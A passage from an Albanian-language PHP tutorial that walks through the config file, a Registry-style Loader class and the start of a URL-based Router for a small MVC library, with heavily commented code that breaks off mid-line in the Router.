<p>Së fundmi, diçka që i përket kodit dhe vazhdimit të guidës. I gjithë kodi është në Anglisht, sepse e kam të vështirë të miksoj Shqip (emra variablash, funksionesh dhe klasash) me Anglisht (konstruktet e gjuhës) në kode të gjata. Ju kërkoj ndjesë për këtë. Por, kushdo me njohuri fare bazë të Anglishtes do e kuptojë pa problem sepse fjalët e përdorura nuk jan të komplikuara. Kuptohet që komentet janë të gjitha në Shqip dhe të detajuara për çdo rresht, kështu që gjatë guidës do ju tregoj vetëm çfarë bën klasa në vija të përgjithshme dhe mënyra si mund ta përmirësoni.</p>
<p>Le të fillojmë!</p>
<h2>Çfarë duhet për të përdorur Librarinë</h2>
<p>Jo shumë në fakt. Mjafton një server tipik me Apache, PHP dhe MySQL. Do të duhet PHP 5 (sa më i lartë nën-versioni, aq më mirë), gjë që tashmë është bërë standart, edhe në hostet shared më të humbur. Nevojitet gjithashtu që Apache të ketë të aktivizuar modulin mod_rewrite dhe serveri të suportojë skedarë .htaccess për të rishkruar URL-të. Nëse nuk i suporton, do detyroheni të mbani pjesën &#8220;index.php&#8221; në URL.</p>
<h2>Konfigurimi</h2>
<p>Libraria përdor një skedar të quajtur &#8220;<em>config.php</em>&#8221; ku ruhen pak konstante që do të përdoren nëpër të gjithë sistemin: URI ku ndodhet Libraria, tipet e gabimeve që do të mund të gjenerohen dhe të dhënat e databazës. I kam ruajtur si konstante që mos të jetë e mundur të ndryshohen më pas, por edhe pse, nga ana vizuale kodi më ngjan më mirë. Shpesh herë, në raste të tilla përdoren edhe vektorë në formën: <em>$conf['PATH']</em>. Personalisht, jam përkrahës i konstanteve.<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Vendos nese duhet te aktivizohet DEBUG apo jo. Perdoret per raportimin</span></li><li><span style="color: #666666; font-style: italic;">	e gabimeve ne funksionin ErrorHandler() ne core/error.php.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">	Vendose ne 0 nese aplikacioni ndodhet ne server produksioni.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DEBUG'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">//URI-ja e aplikacionit</span></li><li><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'PATH'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://www.faqja.com/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">//Konstante per tipet e gabimeve</span></li><li><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'FATAL'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">E_USER_ERROR</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'ERROR'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">E_USER_WARNING</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WARNING'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">E_USER_NOTICE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">//Te dhenat e serverit MySQL dhe emri i databazes</span></li><li><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DB_HOST'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'localhost'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DB_USER'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'root'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DB_PASS'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DB_NAME'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'framework'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Klasa Loader</h2>
<p>Loader është një klasë e dedikuar për ngarkimin dinamik të objekteve, duke lehtësuar përdorimin e objekteve të tjerë brenda një klase. Praktikisht, quajeni një vend ku ruhen objekte të deklaruar dhe serviren nëpër aplikacion sa herë që kërkohen, pa pasur nevojën e deklarimit të tyre sërish. Është një lehtësim që i kam ofruar vetes, edhe pse realisht në një Librari kaq të vogël, mund t&#8217;ja dilja shumë mirë Loader.</p>
<p>Në thelb, Loader-i është një Design Pattern e quajtur Registry. Mban 2 metoda statike, store() dhe load(), njëra për të ruajtur objektet e deklaruar dhe tjetra për ti servirur ato. Çfarë janë metodat statike? Lexoni më poshtë.</p>
<p>Për të shpjeguar çfarë janë metodat statike, më duhet t&#8217;ju shpjegoj konceptin Klasë vs Objekt. Ndryshimi është vetëm deklarimi &#8211; i vogël por themelor. Një objekt është instanca e një klase pasi është deklaruar (në PHP me fjalën kyçe &#8220;new&#8221;). Në momentin që klasa kthehet në objekt, të gjitha metodat dhe variablat (properties) e saj bëhen të aksesueshme. Nga ana tjetër, metodat statike deklarojnë funksione që mund të përdoren direkt në nivel klase, pa e deklaruar atë. E mira këtu është se metodat statike mund të aksesohen direkt nga klasa të tjera. Në vend të selektorit të objekteve &#8220;-&gt;&#8221;, për metodat statike përdoren &#8220;::&#8221;. Psh, për Loader-in do kishim &#8220;Loader::load()&#8221;, cila do të thërriste metodën load(). E njëjta gjë vlen edhe për variablat statike në klasa.</p>
<p>Ajo që unë s&#8217;kam bërë në klasën Loader është implementimi i <a title="Singleton Design Pattern" href="http://en.wikipedia.org/wiki/Singleton_pattern" target="_blank">Singleton</a> (për ta bërë RegistrySingleton) që do më siguronte që të&nbsp;merrja vetëm një instancë të objekteve. Jo se përtoja, por sepse është një teknikë që po konsiderohet anti-pattern dhe përgjithësisht është e shëmtuar. Në fakt, edhe vetë Registry po konsiderohet anti-pattern, sepse aksesi global i klasave rrallë është gjë e mirë. Një design pattern që e respekton filozofinë e punës me objekte është <a title="Dependency Injection Design Pattern" href="http://en.wikipedia.org/wiki/Dependency_injection" target="_blank">Dependency Injector</a>,&nbsp;por që do e rriste nivelin e kompleksitetit në kod dhe &#8220;target-grupin&#8221; e personave që i drejtohet kjo guidë.</p>
<p><strong>Kodi i klasës Loader:</strong><br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000000; font-weight: bold;">class</span> Loader <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Variabla statike qe do te mbaje listen e objekteve. Do te jete</span></li><li><span style="color: #666666; font-style: italic;">		kjo variabel qe nga funksionet me poshte ruan dhe ve ne perdorim</span></li><li><span style="color: #666666; font-style: italic;">		objektet.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">private</span> static <span style="color: #000088;">$objects</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		I kam bere __construct() dhe __clone() privat ne menyre qe te</span></li><li><span style="color: #666666; font-style: italic;">		ndaloj therritjen direkte te objektit apo klonimin e saj. Klasa</span></li><li><span style="color: #666666; font-style: italic;">		do te perdoret vetem per 2 metodat store() dhe load(), thirrjet</span></li><li><span style="color: #666666; font-style: italic;">		ndaj te cilave do te jete direkte, ne nivel klase, jo si objekt.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> __construct <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span></li><li>	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> __clone <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksioni statik qe do te ruaje objektet dhe do ti nise ato.</span></li><li><span style="color: #666666; font-style: italic;">		Parametrat s'jane te paracaktuar, por dinamike. Ne kuptimin qe</span></li><li><span style="color: #666666; font-style: italic;">		funksioni mund te therritet si: store('db') ose store('db', 'router', 'template').</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> store <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			func_get_args() kthen numrin e parametrave te vendosura ne</span></li><li><span style="color: #666666; font-style: italic;">			funksion. Nese ka te pakten nje parameter, blloku egzekutohet.</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">func_get_args</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				func_get_args() kthen nje vektor me te gjithe parametrat</span></li><li><span style="color: #666666; font-style: italic;">				dinamike qe jane percaktuar gjate therritjes se funksionit.</span></li><li><span style="color: #666666; font-style: italic;">				Nese perdoruesi ka shkruar:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">				[ Loader::store('db', 'router'); ]</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">				func_get_args() do te ktheje nje vektor qe duket si:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">				[ array('db', 'router'); ]</span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #000088;">$params</span> <span style="color: #339933;">=</span> <span style="color: #990000;">func_get_args</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				Bej nje lak (loop) ne parametra, ku supozohet qe cdo parameter</span></li><li><span style="color: #666666; font-style: italic;">				te jete nje emer klase. Variables $objects i shtoj nje vlere te re</span></li><li><span style="color: #666666; font-style: italic;">				ku ndodhet klasa e nisur (me: new) dhe si celese vete emri i klases.</span></li><li><span style="color: #666666; font-style: italic;">				Ne kete forme, kur te shkruaj: Loader::store('db', 'router'); variabla</span></li><li><span style="color: #666666; font-style: italic;">				$objects do nise klasat me te njejtat emra dhe perseri me te njejtat emra</span></li><li><span style="color: #666666; font-style: italic;">				do te kem mundesi ti ngarkoj me: Loader::load('db', 'router'). Ky i fundit</span></li><li><span style="color: #666666; font-style: italic;">				shpjegohet me poshte. </span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$param</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$objects</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$param</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000088;">$param</span><span style="color: #339933;">;</span></li><li>			<span style="color: #009900;">&#125;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksioni statik qe ngarkon objektet dhe i ben te gatshem per perdorim.</span></li><li><span style="color: #666666; font-style: italic;">		Ideja ketu eshte shume e ngjashme me funksionin store().</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> load <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">func_get_args</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #000088;">$params</span> <span style="color: #339933;">=</span> <span style="color: #990000;">func_get_args</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>			<span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>			<span style="color: #000088;">$last_param</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				Bej nje lak per te gjitha parametrat dhe per secilin kthej objektin</span></li><li><span style="color: #666666; font-style: italic;">				e ruajtur ne variablen $objects. Funksioni array_key_exists() kontrollon</span></li><li><span style="color: #666666; font-style: italic;">				nese emri i objektit te percaktuar egziston si celes ne variablen $objects.</span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$param</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">array_key_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$param</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$objects</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>					<span style="color: #000088;">$output</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$param</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$objects</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$param</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>					<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">						Ruaj parametrin e fundit te suksesshem</span></li><li><span style="color: #666666; font-style: italic;">					*/</span></li><li>					<span style="color: #000088;">$last_param</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$param</span><span style="color: #339933;">;</span></li><li>				<span style="color: #009900;">&#125;</span></li><li>			<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				Nese vektori $output ka vetem nje rezultat, atehere nuk kthej nje vektor me objekte,</span></li><li><span style="color: #666666; font-style: italic;">				por nje vektor te vetem. Perdora nje variabel qe ruan parametrin e fundit ($last_param)</span></li><li><span style="color: #666666; font-style: italic;">				per ta pasur te lehte thirrjen e vektorit me nje celes specifik.</span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$output</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$output</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$last_param</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>	</li><li>			<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Klasa Router</h2>
<p>Router-i është ai që përcakton çfarë Kontrolluesi do të aktivizohet në bazë të parametrave të URL-së. Ideja është fare e thjeshtë. Çdo Kontrollues ruan një uniformitet me emrin e klasës, skedarin ku ndodhet dhe parametrin në URL. Le të themi që na nevojitet një Kontrollues që do të kryejë veprimet e shportës. Krijojmë një skedar nën &#8220;<em>app/controller/</em>&#8221; me emrin &#8220;<em>shporta.php</em>&#8220;. Brenda tij, krijojmë një klasë me emrin &#8220;<em>Controller_Shporta</em>&#8220;, ku pjesa &#8220;Controller_&#8221; është standart i detyrueshëm për të gjithë kontrolluesit. Në klasë krijomë 2 metoda, njëra home() dhe tjetra boshatis(). Me këtë strukturë tipike, Router-i do të bëjë punën e tij.</p>
<p>Nëse hapim adresën &#8220;<em>index.php/shporta/</em>&#8220;, automatikisht Router-i do të shikojë nëse egziston një Kontrollues me emrin &#8220;<em>Controller_Shporta</em>&#8220;, do ta deklarojë atë dhe do të thërrasë metodën primare home(). Kjo e fundit është e detyrueshme për çdo Kontrollues, duke qenë se egzekutohet në momentin që Kontrolluesi thërritet pa metodë. Ajo që do na duhet të bëjmë është të ofrojmë një faqe që boshatis shportën, prandaj edhe krijuam metodën boshatis(). Mjafton të vendosim parametrin e dytë në URL, duke e bërë atë &#8220;<em>index.php/shporta/boshatis/</em>&#8221; dhe automatikisht Router-i egzekuton metodën boashtis() të Kontrolluesit &#8220;<em>Controller_Shporta</em>&#8220;. Ka kuptim besoj?!</p>
<p>Si ç&#8217;e keni kuptuar tashmë, parametri i parë në URL përcakton Kontrolluesin, ndërsa parametri i dytë përcakton metodën që duhet të egzekutohet. Në këtë formë kam një sistem dinamik dhe me URL të bukura. Edhe nga ana kodit është mjaft e thjeshtë. Merr URL-në aktuale, e ndan në copeza në bazë të karakterit &#8220;/&#8221; dhe deklaron objektin së bashku me metodën përkatëse. Mjafton që të ndiqet e njëjta nomeklaturë dhe gjithçka funksionon pa probleme.</p>
<p><strong>Si mund të përmirësohet Router-i?</strong> Në thelb, punën e bën si ç&#8217;duhet, por ka vend për përmirësime në logjikë. Mund të përdoret fare mirë REST, një teknikë që përdor metodat e kërkesave të protokollit HTTP dhe që gjen përdorim masiv në Web Services. Në po të njëjtën ide mund të përdoret për të instruktuar shfletuesin se çfarë lloj kërkese po dërgohet, në mënyrë që të kenë kuptim semantik dhe të jenë logjikisht të ndara. REST shfrytëzon metodat: GET, POST, PUT dhe DELETE. GET mund të përdoret për të shfaqur të dhëna; POST për të futur të dhëna të reja; PUT për të ndryshuar të dhëna dhe DELETE për të fshirë të dhëna. Kuptohet, kërkon më tepër punë dhe përgjithësisht e komplikon Router-in, por në fund do të keni një sistem solid që shfrytëzon HTTP si ç&#8217;duhet dhe me kuptim, ku secili veprim (Shto, Shfaq, Ndrysho dhe Fshi) përdor një metodë të caktuar të HTTP. Në fund mund ti shtoni kapje gabimesh për të servirur faqe me header 404 nëse një Kontrollues apo metodë e tij nuk egziston.</p>
<p><strong>Kodi i klasës Router</strong><br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000000; font-weight: bold;">class</span> Router <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Variabel globale e klases ku do te ruhet adresa e faqes</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksion qe merr adresen e faqes ($_SERVER['PHP_SELF']) dhe e perpunon</span></li><li><span style="color: #666666; font-style: italic;">		per te nxjerre gjithcka qe ndodhet pas index.php. Pra, nese kemi adresen:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		[ http://www.faqja.com/index.php/perdoruesit/shfaq/ ]</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		variabla $url do te manipulohet qe te mbetet vetem:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		[ perdoruesit/shfaq]</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Me htaccess, index.php fshihet qe url-te te jene sa me te lexueshme.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> findRoute <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_SELF'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #990000;">strrpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'index.php'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'index.php'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksioni qe percakton nga copezat e url-se se cfare Kontrolluesi po kerkohet</span></li><li><span style="color: #666666; font-style: italic;">		dhe cilen metode te egzekutoje.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> decodeRoute <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			Me explode() kam ndare url-ne ne copeza me ndarez karakterin /. Copezat</span></li><li><span style="color: #666666; font-style: italic;">			bashkohen te gjithe ne nje vektor. Praktikisht:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">			perdoruesit/shfaq (explode) =&gt; array('perdoruesit', 'shfaq');</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #000088;">$params</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			Ndertoj emrin dinamik te klases qe do te egzekutohet. Klasat e Kontrollueseve</span></li><li><span style="color: #666666; font-style: italic;">			fillojne gjithmone me Controller_. $params[0] kthen vleren e pare te vektorit,</span></li><li><span style="color: #666666; font-style: italic;">			qe eshte parametri i pare i url-se.</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #000088;">$class</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Controller_'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			Per siguri, kontrolloj nese klasa e Kontrolluesit qe do te tentoj te perfshij,</span></li><li><span style="color: #666666; font-style: italic;">			egzsiton. Kjo copez s'ka shume shance te egzekutohet sepse nese nje klase nuk</span></li><li><span style="color: #666666; font-style: italic;">			egziston, aplikacioni do te deshtoje qe tek __autoload() ne index.php.</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">class_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$class</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #990000;">trigger_error</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Kontrolleri <span style="color: #006699; font-weight: bold;">$class</span> nuk egziston.&quot;</span><span style="color: #339933;">,</span> FATAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			Nis objektin e Kontrolluesit</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #000088;">$controller</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000088;">$class</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			Pjesa e pare e if() kontrollon nese eshte vendosur nje parameter i dyte, i cili</span></li><li><span style="color: #666666; font-style: italic;">			sherben si funksioni qe objekti i Kontrolluesit do te egzekutoje. Per siguri,</span></li><li><span style="color: #666666; font-style: italic;">			kontrollojme gjithashtu nese metoda egziston ne klase, per te qene te sigurt</span></li><li><span style="color: #666666; font-style: italic;">			qe po egzekutojme nje metode te vlefshme.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">			Nese eshte vendosur parametri i dyte, egzekutoj ate metode ne klasen e Kontrolluesit.</span></li><li><span style="color: #666666; font-style: italic;">			Ne te kundert, egzekutoj metoden home(), qe eshte metoda default e cdo Kontrolluesi.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">			**Shenim: Kontrolli me method_exists() mund te perdoret per te kthyer gabimin 404 - </span></li><li><span style="color: #666666; font-style: italic;">			faqja nuk egziston. Praktikisht, nese vizitori vendos nje url e cila nuk perkthehet</span></li><li><span style="color: #666666; font-style: italic;">			ne Kontrollues dhe metoda, url-ja supozohet te mos egzistoje. Megjithate, une e mbajta</span></li><li><span style="color: #666666; font-style: italic;">			te thjeshte kodin ne kete rast dhe nuk e perfshiva kete funksionalitet.</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> and <span style="color: #990000;">method_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$controller</span><span style="color: #339933;">,</span> <span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: 